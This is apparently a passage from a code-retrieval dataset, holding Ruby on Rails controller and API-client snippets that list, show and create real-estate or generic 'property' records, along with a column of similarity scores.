"def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"def index\n @properties = Property.all\n\n render json: @properties\n end",
"def index\n @api_v1_properties = Api::V1::Property.all\n end",
"def relationship_get_property id, name\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n }\n\n get_request 'relationship/' + id + '/properties/' + name, headers\n end",
"def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"def show\n #@property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def show\n property = Property.by_key(params[:id], nil, current_user.id)\n if property\n respond_to do |format|\n format.json { render :json => jsonp(properties_to_json([property])) }\n format.xml { render :xml => properties_to_xml([property]) }\n format.text { render :text => text_not_supported }\n end\n else\n render_error('Not found', 404)\n end\n end",
"def index\n id = params[:id].to_i\n\n if id != 0\n @properties = @properties.paginate(page: params[:page], per_page: 10).\n order('ensure_availability_before_booking desc, name').\n find_all_by_id(id)\n if @properties.any?\n @property_name = @properties.first.name\n end\n else\n @properties = @properties.paginate(page: params[:page], per_page: 10).\n order('ensure_availability_before_booking desc, name').find(:all)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"def my_properties\n @api_v1_properties = current_api_v1_user.properties\n .includes(:reservations)\n .order('reservations.created_at DESC')\n\n render template: '/api/v1/properties/index', status: 200\n end",
"def get_properties\n xml = client.call(\"#{attributes[:url]}/property\").parsed_response\n xml.css('properties property').map { |p| Vebra::Property.new(p, self) }\n end",
"def show\n respond_to do |format|\n format.html {}\n format.json { render json: @property }\n end\n end",
"def index\n\n @properties = Property.search( params[:query] || \"\" )\n\n respond_to do |format|\n\n format.html\n format.json { render json: @properties }\n\n end\n\n end",
"def show\n @sample_property = SampleProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sample_property }\n end\n end",
"def get_properties()\n resp = conn.get('/users/'+name+'/props/')\n \n case resp.code.to_i\n when 200\n return JSON.parse(resp.body)\n when 404\n raise RestAuthUserNotFound.new( resp )\n else\n raise RestAuthUnknownStatus.new( rest )\n end\n end",
"def show\n @estate_agent = EstateAgent.find(params[:id])\n @properties = Property.where(\"estate_agent_id = ?\", @estate_agent.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @properties }\n end\n end",
"def show\n @property = Property.find(params[:id])\n end",
"def featured\n properties = []\n begin\n # Try to get the 3 properties with priority flag\n Property.where(priority: true, status: :active).order('RANDOM()').limit(3).each { |p| properties << p }\n\n # Get the missing properties\n missing = 3 - properties.count\n Property.where(priority: false, status: :active).order('RANDOM()').limit(missing).each { |p| properties << p } if missing > 0\n\n @api_v1_properties = properties\n\n render template: '/api/v1/properties/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end\n end",
"def show\n @prop = Prop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prop }\n end\n end",
"def show\n render json: @property\n end",
"def index\n @properties = @user.properties.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @properties }\n end\n end",
"def get_property( propname )\n resp = conn.get('/users/'+name+'/props/'+propname+'/')\n \n case resp.code.to_i\n when 200\n return JSON.parse( resp.body )\n when 404\n case resp.header['resource-type']\n when 'user'\n raise RestAuthUserNotFound.new( resp )\n when 'property'\n raise RestAuthPropertyNotFound.new( resp )\n else\n raise RestAuthBadResponse.new( resp, \"Received 404 without Resource-Type header\" )\n end\n else\n raise RestAuthUnknownStatus.new( resp )\n end\n end",
"def show\n respond_to do |format|\n \tformat.html # show.html.erb\n \tformat.json { render json: @property }\n end\n end",
"def index\n @properties = Property.order(:id).page (params[:page])\n end",
"def show\n @property = Property.find(params[:id].to_i) rescue nil\n respond_to do |format|\n unless @property.blank?\n # to provide a version specific and secure representation of an object, wrap it in a presenter\n \n format.xml { render :xml => property_presenter }\n format.json { render :json => property_presenter }\n else\n format.xml { head :not_found }\n format.json { head :not_found }\n end\n end\n end",
"def relationship_get_all_props id\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n }\n get_request 'relationship/' + id + '/properties', headers\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = current_user.properties.order(:id => :desc)\n render \"index.json.jb\"\n end",
"def show\n authorize_action_for @property, at: current_store\n\n respond_to do |format|\n format.json { render json: @property.product_properties, status: 200 }\n format.html\n end\n end",
"def index\n\t\t@properties = Property.all\n\tend",
"def featured\n properties = []\n begin\n # Tenta pegar 3 propriedades com a flag de prioridade\n Property.where(priority: true, status: :active).order(\"RANDOM()\").limit(3).each {|p| properties << p}\n # Verifica quantas propriedades faltam pra completar 3\n missing = 3 - properties.count\n # Pega as propriedades faltantes caso existam\n Property.where(status: :active).order(\"RANDOM()\").limit(missing).each {|p| properties << p} if missing > 0\n\n @api_v1_properties = properties\n\n render template: '/api/v1/properties/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end\n end",
"def show\n @location_property = LocationProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location_property }\n end\n end",
"def properties_get_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PropertiesApi.properties_get ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling PropertiesApi.properties_get\"\n end\n # resource path\n local_var_path = '/v1/properties/{id}'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DomainPublicAdapterWebApiModelsV1PropertiesProperty')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PropertiesApi#properties_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @current_api_v1_user = current_api_v1_user\n @api_v1_properties = Property.all\n end",
"def properties\n # vendor = Vendor.find(params[:vendor_id])\n search_params = { vendor_id: params[:vendor_id].to_i, results_per_page: 150 }\n search_params[:p] = params[:p].to_i if params[:p]\n pd = PropertySearchApi.new(filtered_params: search_params )\n pd.query[:size] = 1000\n results, status = pd.filter\n results[:results].each { |e| e[:address] = PropertyDetails.address(e) }\n response = results[:results].map { |e| e.slice(:udprn, :address) }\n response = response.sort_by{ |t| t[:address] }\n #Rails.logger.info \"sending response for vendor properties -> #{response.inspect}\"\n render json: response, status: status\n end",
"def show\n @property = Property.find(params[:id])\n @json = @property.to_gmaps4rails\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def show\n @property_field = PropertyField.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_field }\n end\n end",
"def property_keys\n headers = { 'Accept' => 'application/json; charset=UTF-8' }\n get_request 'propertykeys', headers\n end",
"def get_property(*args)\n return unless alive?\n\n command(\"get_property\", *args)[\"data\"]\n end",
"def index\n properties = current_user.properties\n\n if properties.any?\n render status: 200, json: { properties: properties.to_json }\n else\n render status: 404, json: { error: 'You have no properties' }\n end\n end",
"def show\n @quick_property = QuickProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quick_property }\n end\n end",
"def index\n @properties = Property.get_all(params[\"city\"], params[\"country\"])\n end",
"def get_property\n @xml = client.call(url).parsed_response.css('property').first\n @attributes.merge!(parse_xml_to_hash)\n end",
"def show\n @property_details = PropertyDetail.find_by_property_id(params[:id])\n end",
"def index\n @props = Prop.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @props }\n end\n end",
"def properties_get(opts = {})\n data, _status_code, _headers = properties_get_with_http_info(opts)\n return data\n end",
"def show\n @property_user = PropertyUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_user }\n end\n end",
"def properties(path, property_names)\n result = properties_for_path(path, property_names, 0)\n if result[0].key?(200)\n return result[0][200]\n else\n return []\n end\n end",
"def index\n @properties = Property.find(:all, :order => 'name')\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @properties.to_xml }\n end\n end",
"def get_by_property\n @api_v1_reservation = current_api_v1_user.properties.find(params[:id]).reservations\n render template: '/api/v1/reservations/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end",
"def index\n @client_properties = ClientProperty.all\n end",
"def get_property(name, default= \"\")\n\t\treturn @transport.get_path(\"meta\",\"properties\", name) { default }\n\tend",
"def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @property }\n end\n end",
"def details\n @estate_agent = EstateAgent.find(params[:id])\n @property = Property.where(\"estate_agent_id = ? and id = ?\", @estate_agent.id, params[:id2])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def index\n @properties = Property.with_deleted.where(id: AccessResource.get_ids(resource_klass: 'Property', user: current_user))\n @properties = @properties.where(deleted_at: nil) unless params[:trashed].to_b\n @properties = @properties.where.not(deleted_at: nil) if params[:trashed].to_b\n @last = @properties.try(:last).try(:id) || 0\n if params[\"purchased\"]\n if ((params[\"purchased\"][\"accepted\"] == \"1\") && (params[\"prospective_purchase\"][\"accepted\"] == \"1\"))\n elsif ((params[\"purchased\"][\"accepted\"] == \"0\") && (params[\"prospective_purchase\"][\"accepted\"] == \"0\"))\n @properties = @properties.where.not(ownership_status: ['Prospective Purchase', 'Purchased'])\n else\n @properties = @properties.where(ownership_status: 'Purchased') if params[\"purchased\"][\"accepted\"] == \"1\"\n @properties = @properties.where(ownership_status: 'Prospective Purchase') if params[\"prospective_purchase\"][\"accepted\"] == \"1\"\n end\n end\n @properties = @properties.order(created_at: :desc).paginate(page: params[:page], per_page: sessioned_per_page)\n @activeId = params[:active_id]\n \n render template: 'properties/xhr_list', layout: false if request.xhr?\n end",
"def show\n @propose = Propose.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @propose }\n end\n end",
"def fetch_property(name)\n properties.where(\"name = ?\", name).first\n end",
"def search\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"def get_property _property\n send_cmd(\"get_property #{_property}\")\n end",
"def index\n properties = current_user.properties\n respond_to do |format|\n format.json { render :json => jsonp(properties_to_json(properties)) }\n format.xml { render :xml => properties_to_xml(properties) }\n format.text { render :text => text_not_supported }\n end\n end",
"def get_property(property_name)\n command(\"get_property\", property_name)\n end",
"def property_params\n params[:property]\n end",
"def set_api_v1_property\n @api_v1_property = Property.find(params[:id])\n end",
"def index\n @properties = @user.properties.all\n # if params[:search]\n # @properties = @user.properties.search(params[:search], params[:page]).order(\"created_at DESC\")\n \n\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @properties }\n # end\n # else\n # @properties = Property.order(\"created_at DESC\")\n # end\n\n end",
"def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @property.to_xml }\n end\n end",
"def index\n @properties = Property.all\n authorize @properties\n end",
"def get_properties_with_http_info(uuid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectPropertyApi.get_properties ...'\n end\n # verify the required parameter 'uuid' is set\n if @api_client.config.client_side_validation && uuid.nil?\n fail ArgumentError, \"Missing the required parameter 'uuid' when calling ProjectPropertyApi.get_properties\"\n end\n # resource path\n local_var_path = '/v1/project/{uuid}/property'.sub('{' + 'uuid' + '}', CGI.escape(uuid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<ProjectProperty>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectPropertyApi#get_properties\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_prop(values)\n cmd = \"{\\\"id\\\":1,\\\"method\\\":\\\"get_prop\\\",\\\"params\\\":[#{values}]}\\r\\n\"\n request(cmd)\n end",
"def show\n @property_picture = PropertyPicture.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_picture }\n end\n end",
"def properties_get(id, opts = {})\n data, _status_code, _headers = properties_get_with_http_info(id, opts)\n data\n end",
"def index\n if params[:ax] && params[:ay] && params[:bx] && params[:by]\n @properties = Property.find_by_coordinates(\n upper_x: params[:ax],\n upper_y: params[:ay],\n bottom_x: params[:bx],\n bottom_y: params[:by]\n )\n else\n @properties = Property.all #in this case is much necessary to implement pagination system\n end\n\n respond_with :api, :v1, @properties, status: :ok\n end",
"def query\n @property_hash\n end",
"def get_properties\n \n begin\n \n if @filename == ''\n raise 'Base file not specified.'\n end\n \n str_uri = $product_uri + '/slides/' + @filename + '/documentProperties'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n \n response_stream = RestClient.get(signed_str_uri,{:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n if(stream_hash['Code'] == 200)\n return stream_hash['DocumentProperties']['List']\n else\n return false\n end\n \n rescue Exception=>e\n print e\n end\n \n end",
"def property_details\n details = VendorApi.new(params[:udprn].to_i, nil, params[:vendor_id].to_i).property_details\n render json: details, status: 200\n end",
"def show\n @property_image = PropertyImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_image }\n end\n end",
"def index\n @property = Property.all\n end",
"def show\n #@property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @property }\n end\n end",
"def show\n @property = Property.find(params[:id])\n\n do_search(@property.number_of_rooms, @property.location)\n @properties.delete @property\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def get_property property_name\n\n begin\n\n if property_name == ''\n raise 'Property name not specified.'\n end\n\n str_uri = $product_uri + '/words/' + @filename + '/documentProperties/' + property_name\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = RestClient.get(signed_str_uri, {:accept => 'application/json'})\n\n stream_hash = JSON.parse(response_stream)\n stream_hash['Code'] == 200 ? stream_hash['DocumentProperty'] : false\n\n rescue Exception => e\n print e\n end\n\n end",
"def index\n # @properties = Property.all('date') ## Who put this in? What is ('date') intended to do ?\n @properties = Property.all\n respond_to do |format|\n format.html {} # do nothing - this is the default. display as normal html\n format.json {render :json => @properties}\n end\n end",
"def get_properties(options={})\n return send_message(SkyDB::Message::GetProperties.new(options))\n end",
"def show\n format = params[:format] || 'json'\n data = @container.config.get_properties(flavor: :public, format: format)\n\n render response_ok data\n end",
"def get_property(property, data, uri = nil, is_url: false, single: true, &block)\n values = data ? data[property] : nil\n if values.is_a?(Array)\n values = values.map { |value| get_property_value(value, is_url: is_url, &block) }\n single ? values[0] : values\n else\n value = get_property_value(values, is_url: is_url, &block)\n single ? value : [value]\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property }\n end\n end",
"def get_param(name, property)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n raise('wrong type: String required') unless property.is_a?(String)\n raise('wrong value: property must be valid') unless !property.nil? && !property.empty?\n\n r = @client.post({\n 'action' => 'getparam',\n 'object' => 'htpl',\n 'values' => '%s;%s' % [name, property],\n }.to_json)\n\n JSON.parse(r)['result']\n end",
"def set_api_v1_property\n @api_v1_property = Property.find(params[:id])\n end",
"def property_properties\n _property_properties\n end"
] | [
"0.74967957",
"0.73476976",
"0.7304607",
"0.72556674",
"0.72336495",
"0.72336495",
"0.72336495",
"0.72336495",
"0.7188035",
"0.7172849",
"0.7145906",
"0.71286345",
"0.70898354",
"0.70896214",
"0.70896214",
"0.7055902",
"0.70408046",
"0.69893426",
"0.6987266",
"0.6970528",
"0.6940124",
"0.69119895",
"0.68757945",
"0.68429315",
"0.6841095",
"0.682535",
"0.68142664",
"0.68067926",
"0.6803861",
"0.67775536",
"0.67769855",
"0.66710275",
"0.6663833",
"0.66553617",
"0.665303",
"0.66471034",
"0.66471034",
"0.66471034",
"0.66471034",
"0.66471034",
"0.66471034",
"0.6644874",
"0.66446406",
"0.6614968",
"0.65908974",
"0.65831184",
"0.65805316",
"0.6561032",
"0.65564233",
"0.6552145",
"0.6550568",
"0.6544078",
"0.6487293",
"0.6485742",
"0.64835894",
"0.64783525",
"0.64764667",
"0.6467079",
"0.6466189",
"0.64587027",
"0.64423674",
"0.6425664",
"0.63807094",
"0.63707495",
"0.63438964",
"0.63291144",
"0.63287437",
"0.6299088",
"0.62955284",
"0.62844175",
"0.6267302",
"0.6262033",
"0.6238015",
"0.6220218",
"0.6199201",
"0.6199109",
"0.61953545",
"0.6193759",
"0.6185055",
"0.6184365",
"0.61791164",
"0.6170043",
"0.61677784",
"0.61572516",
"0.6142495",
"0.61208165",
"0.6116444",
"0.61118925",
"0.6104099",
"0.6087632",
"0.608327",
"0.6079153",
"0.6077177",
"0.6073744",
"0.6070598",
"0.6048862",
"0.6044134",
"0.6039014",
"0.60313797",
"0.6029354",
"0.601677"
] | 0.0 | -1 |
POST /properties POST /properties.json | def create
@property = Property.new(property_params)
# params[:property][:cover_picture].each do |image|
mini_image = MiniMagick::Image.new(params[:property][:cover_picture].tempfile.path)
mini_image.resize '1200x1200'
# end
# params[:property][:pictures].each do |image|
# mini_image = MiniMagick::Image.new(params[:property][image].tempfile.path)
# mini_image.resize '1200x1200'
# end
# @property.account_id = current_account.id
respond_to do |format|
if @property.save
format.html { redirect_to @property, notice: 'Property was successfully created.' }
format.json { render :show, status: :created, location: @property }
else
format.html { render :new }
format.json { render json: @property.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @property = Property.new(property_params)\n\n if @property.save\n render json: @property, status: :created, location: @property\n else\n render json: @property.errors, status: :unprocessable_entity\n end\n end",
"def property_params\n params.require(:property).permit!\n end",
"def create\n property = current_user.properties.new(\n title: params[:title],\n value: params[:value]\n )\n\n if property.save\n render status: 200, json: { property_id: property.id }\n else\n render status: 422, json: {\n error: property.errors.full_messages.join(', ')\n }\n end\n end",
"def create\n @property = Property.create(property_params)\n # @property = Property.new(safe_params)\n\n if @property.save\n render json: @property, status: :created, location: @property\n else\n render json: @property.errors, status: :unprocessable_entity\n end\n end",
"def property_params\n params.require(:property).permit(:resource_id, :resource_type, :name, :value)\n end",
"def property_params\n params.require(:property).permit!\n end",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to after_save_path, notice: 'Property was successfully created.' }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def property_params\n params.require(:property).permit(:name, :address, :property_type, :description, :size_type, :rent, :date_available, :security_deposit, :image_urls, :landlord_id)\n end",
"def property_params\n params.require(:property).permit(:title, :property_type_id, :description)\n end",
"def create\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if !check_permissions?(session[:user_type], \"create_property\")\n redirect_to root_path\n end\n @property = Property.new(property_params)\n respond_to do |format|\n if @property.save\n # , :, :in_unit_laundry, :parking\n add_property_feature(@property)\n format.html { redirect_to @property, notice: \"Property was successfully created.\" }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def property_params\n params.require(:property).permit(:name, :area, :price, :description, :property_type_id, :interest, :status, :user_id, :bed_rooms, :bath_rooms, :address, :county_id, :state_id, :city_id, :latitude, :longitude, :video_url, option_ids: [])\n end",
"def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def properties_params\n\t\t\tparams.require(:property).permit(:status,:address,:city,:state,:zip,:lat,:lon)\n\t\tend",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render action: 'show', status: :created, location: @property }\n else\n format.html { render action: 'new' }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render action: 'show', status: :created, location: @property }\n else\n format.html { render action: 'new' }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def property_params\n params.require(:property).permit(\n :property_name,\n :property_address,\n :landlord_first_name,\n :landlord_last_name,\n :landlord_email,\n :tenancy_start_date,\n :tenancy_security_deposit,\n :tenancy_monthly_rent,\n :rented,\n :tenants_emails,\n :multiple_landlords, \n :other_landlords_emails\n )\n end",
"def create\n @recipe = Recipe.new(recipe_params)\n @recipe.properties = RecipeProperties.new(params[:recipe][:properties])\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @recipe }\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def property_params\n params.require(:property).permit(:title, :propType, :address, :latitude, :longitude,:price, :beds, :rooms, :guests, :description, :user_id)\n end",
"def create\n @api_v1_property = Api::V1::Property.new(api_v1_property_params)\n\n if @api_v1_property.save\n render :show, status: :created, location: @api_v1_property\n else\n render json: @api_v1_property.errors, status: :unprocessable_entity\n end\n end",
"def property_params\n params.require(:property).permit(:name, :price, :population, :state, :region, :town, :kind, :position, :description)\n end",
"def property_params\n params.require(:property).permit(:name, :description, :beds, :baths, :square_feet, :price, :address, :city, :state, :zip_code, :has_laundry, :has_parking, :image_url, :is_available, :date_available)\n end",
"def create\n @n=0\n @property = Property.new(property_params)\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: \"Property was successfully created.\" }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n key = params[:key]\n value = params[:value]\n if key\n begin\n Property.clear(key, nil, current_user.id)\n property=Property.create(:prop_key => key, :text_value => value, :user_id => current_user.id)\n respond_to do |format|\n format.json { render :json => jsonp(properties_to_json([property])) }\n format.xml { render :xml => properties_to_xml([property]) }\n format.text { render :text => text_not_supported }\n end\n\n rescue Exception => e\n render_error(e.message, 500)\n end\n else\n render_error('Bad request: missing key', 400)\n end\n end",
"def property_params\n params\n .require(:property)\n .permit(\n :name,\n :type_of_property,\n :street,\n :external_number,\n :internal_number,\n :neighborhood,\n :city,\n :country,\n :rooms,\n :bathrooms,\n :comments\n )\n end",
"def property_params\n params.require(:property).permit(:address, :apt, :city, :state, :zip)\n end",
"def property_params\n params.require(:property).permit(:number, :buildinginfo, :building_id, :suitedfor, :notes, :rented, :avatar)\n end",
"def create\n @notify_observer = NotifyObserver.new(params[:notify_observer])\n @notify_observer.save\n @properties = params[:notify_observer_properties]\n \n for property in @properties\n @notify_observer.notify_observer_properties.create(:name => property)\n end if @properties\n \n respond_to do |format|\n if @notify_observer.save\n format.html { redirect_to @notify_observer, :notice => 'Notify observer was successfully created.' }\n format.json { render :json => @notify_observer, :status => created, :location => @notify_observer }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @notify_observer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n # Get features parameter\n features = params[:features]\n\n # Verify whether features array comes in the parameters list\n if features.present?\n # Intantiate & create features by property\n features_property_create = FeaturesPropertyCreate.new(@property)\n features_property_create.create(features, params[:quantities])\n end\n\n # Get photos parameter\n photos = params[:photos]\n\n # Verify whether photos array comes in the parameters list\n if photos.present?\n # Intantiate & create photos by property\n photo_create = PhotoCreate.new(@property)\n photo_create.create(photos)\n end\n\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @property = Property.new(property_params)\n @property.user=current_person\n respond_to do |format|\n @property.add_location_to_property\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render :show, status: :created, location: @property }\n else\n format.html { render :new }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def property_params\n params.require(:property).permit(:code, :name, :description, :property_type_id, :static, :variant, :property_kind_id)\n end",
"def create\n @users_property = UsersProperty.new(users_property_params)\n\n respond_to do |format|\n if @users_property.save\n format.html { redirect_to @users_property, notice: 'Users property was successfully created.' }\n format.json { render :show, status: :created, location: @users_property }\n else\n format.html { render :new }\n format.json { render json: @users_property.errors, status: :unprocessable_entity }\n end\n end\n end",
